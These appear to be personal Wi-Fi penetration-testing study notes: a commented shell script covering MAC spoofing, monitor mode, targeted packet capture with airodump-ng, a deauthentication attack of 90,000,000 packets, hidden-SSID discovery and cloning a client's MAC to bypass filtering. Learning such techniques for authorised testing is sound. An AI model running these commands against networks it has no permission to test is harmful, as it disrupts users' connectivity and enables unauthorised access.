Wifi penetration testing notes

wifi.sh

# -------- Preconnection Attacks
#============================================
ifconfig wlan0 down
#change the mac address of wireless adapter
ifconfig wlan0 hw ether 00:11:22:33:44:55
#---------helping process------
airmon-ng check kill
#-------------
#turn on monitor mode, process 1, the device must be down
iwconfig wlan0 mode monitor
#alternative process to start monitor mode
airmon-ng start wlan0
#monitoring with airodump-ng
airodump-ng wlan0
#wireless ghz - a - 5ghz, b,g - 2.4 ghz, n - both 2.4 and 5ghz, ac - less than 6ghz
airodump-ng --band a wlan0
#specific wireless sniffing ( airodump-ng --bssid (mac address ) --channel ( channel number ) --write (file to write this data to ) wlan0(wifi adapter name)
airodump-ng --bssid A2:B2:C3:D4:E5:F6 --channel 2 --write test wlan0
#you will get a few files in the current directory, the cap file will contain all the captured packets
#you can open that cap file in wireshark, you can see the devices it is connected to. 
#-----------
#DEAUTHENTICATION ATTACK
#------------
#aireplay-ng --(name of attack) (number of packets to send) -a (mac of router) -c (mac of the client/device) (my device name)
aireplay-ng --deauth 90000000 -a A2:B2:C3:D4:E5:F6 -c G1:H2:I3:J4:K5:L6 wlan0
#get hidden networks, first do airodump, be specific bssid, then deauth attack with 4 packets, it will reveal the name
#-------
#connect to hidden network
#-------------
# if the network manager doesn't turn on, run command: service network-manager start
#change the mac to an existing connected network
macchanger -m aa:bb:cc:dd:ee:ff wlan0